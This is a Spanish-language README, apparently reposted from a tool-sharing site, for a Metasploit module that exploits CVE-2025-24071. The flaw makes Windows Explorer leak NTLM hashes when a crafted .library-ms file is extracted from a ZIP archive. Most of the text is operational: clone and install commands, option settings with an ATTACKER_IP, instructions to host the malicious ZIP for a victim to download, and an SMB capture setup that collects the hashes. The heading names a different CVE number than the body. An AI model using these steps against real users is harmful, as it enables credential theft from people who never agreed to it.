cve-2025-24054

CVE-2025-24071: Fuga de hash NTLM mediante archivo .library-ms (módulo de Metasploit)

Este repositorio contiene un módulo de Metasploit para explotar CVE-2025-24071, una vulnerabilidad en el Explorador de Windows que filtra hashes NTLM cuando un archivo .library-ms malicioso se extrae de un archivo ZIP.

Desarrollado por: FOLKS-IWD

Descripción general

La vulnerabilidad ocurre cuando un usuario extrae un archivo ZIP que contiene un archivo .library-ms especialmente diseñado. El Explorador de Windows inicia automáticamente una solicitud de autenticación SMB a un servidor remoto especificado en el archivo, filtrando el hash NTLM del usuario sin ninguna interacción por parte de este.

Este módulo de Metasploit:

1. Genera un archivo .library-ms malicioso.
2. Lo empaqueta en un archivo ZIP.
3. Se integra con la funcionalidad de captura SMB de Metasploit para recolectar hashes NTLM.

Instalación

1. Clona el repositorio:
   root@kitploit:~

   git clone https://github.com/FOLKS-IWD/CVE-2025-24071-msfvenom.git
   cd CVE-2025-24071-msfvenom
   

2. Copia el módulo a tu directorio de módulos de Metasploit:
   root@kitploit:~

   cp ntlm_hash_leak.rb ~/.msf4/modules/auxiliary/server/
   

Uso

1. Carga el módulo:
   root@kitploit:~

   use auxiliary/server/ntlm_hash_leak
   

2. Establece las opciones requeridas:
   root@kitploit:~

   set ATTACKER_IP 192.168.1.162  # Reemplaza con tu dirección IP
   set FILENAME exploit.zip       # Nombre del archivo ZIP malicioso
   set LIBRARY_NAME malicious.library-ms  # Nombre del archivo .library-ms
   set SHARE_NAME shared          # Nombre del recurso compartido SMB
   

3. Ejecuta el módulo:

  run

4. El módulo generará un archivo ZIP malicioso (exploit.zip). Aloja este archivo para que la víctima lo descargue y lo extraiga.
5. Usa el módulo de captura SMB de Metasploit para recolectar los hashes NTLM:
   root@kitploit:~

   use auxiliary/server/capture/smb
   set SRVHOST 192.168.1.162  # Igual que ATTACKER_IP
   run